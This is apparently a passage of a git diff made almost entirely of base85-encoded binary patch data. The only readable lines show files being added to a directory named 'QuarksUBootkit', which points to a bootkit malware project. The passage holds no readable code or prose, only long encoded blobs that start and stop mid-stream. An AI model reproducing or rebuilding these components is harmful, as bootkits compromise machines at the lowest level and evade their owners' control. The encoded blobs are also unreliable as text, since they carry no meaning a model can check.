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 literal 0 HcmV?d00001 diff --git a/QuarksUBootkit/resource.h b/QuarksUBootkit/resource.h new file mode 100644 index 0000000000000000000000000000000000000000..16d877ff7b429c1971a272333f80ee86136b3021 GIT binary patch literal 996 zcmb7@UrPc}5XH}P(05qqG0?2Oz`7eG=_;;DJ}tSrVTgjd{UQ45)o<>)uz_hYT<**` zbLPys>(^&pb-iPex=Ix4MmAO10KX8&0Mzxe>XIay@84 z6zClD^r)GZoHh9^_mte6OiEQwG$YQ)EbwZT2}7`o>WSW{Srgf;94~c#&3Pp!yU!e+ zq1i+a=AoMG6thuVKKCsrP@j!#L+^++bfJdh^c!*jq7PmS-rxvYb($exI^>eS2cMZ< zosyY8}f1J*J*db(h|@#!lZcUqq8k8~lAQk?dwC^xWtk4vBk(n4TeCKsJGi z55f??s+IYs*VUhq15i7d&$RF$uBU5|&Gx_ZKHi2Nu|ePMdx&+x`#;z*dUn|V80%7# QlC}NErhNC=PNSdkH}4&Yk^lez literal 0 HcmV?d00001 diff --git a/QuarksUBootkit/resources.rc b/QuarksUBootkit/resources.rc new file mode 100644 index 0000000000000000000000000000000000000000..e64cf3972b8b6114800788171a12d342a5f0b8d7 GIT binary patch literal 3178 zcmdUx+iu!G5QhKjN___xZW^@;Jv>1;l%SF{!Vskr5+WfqNC_YgQZM?xeT%l=tUW0Q zLtAp=YGu!QyfZt8e`fdRkCIA?bf%GRG}A5FbP=9$4? zKnL(kTcyU zx=^gPI;yInPwJ_q8r&-Lb2arDPR#pEWjIadzQ5U!zv0$7jZ`Ntn=u{|rHLN!e?fFC z4sE=?;@!aO3VvEVYVhCjY-Z%oIp~x1uc_R6{PPzvw!BnFCTeUcSjkSpRd%>D8%T+T0ITWae|hsw2oqGrb9(lz)}xHH5sP& z8zb5&*+xeT-1gAaVty2MZ8AHD+kw^tHl35Ks|Dnq>NT2UR+ZT+ky!t45lC`v9_-Gw zRl+6qe`K%fe^>R{_3YXA7`!D`*(;;qaT(w1p(mI`l#c8k+tr)2&srvuh?$gikVE#! z>g@%vy4hI@>Vo7hNKU%^Z!33M^!`AL{&k;X=)41}%eqN2tQ%x?mTk0oj`Gz%R;@7$ z?b~TY&5bxw9>~)4k?Vdmz(hHmrWc_yW1Ui`m2ln~Vmv}l%iylfxoch6dHblNvI`al z;q2*S$u;NPB-|UW`I@E}aa$_bV7(>==j}baJjE7^hTT$n+*9tD&*-(cTNdrc%He%_ zHCOqXJ0_f3tq=E}yxaAWFOOEO@p^Fj)H|5fvHTw5`@fRb1 Ba8dvO literal 0 HcmV?d00001

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 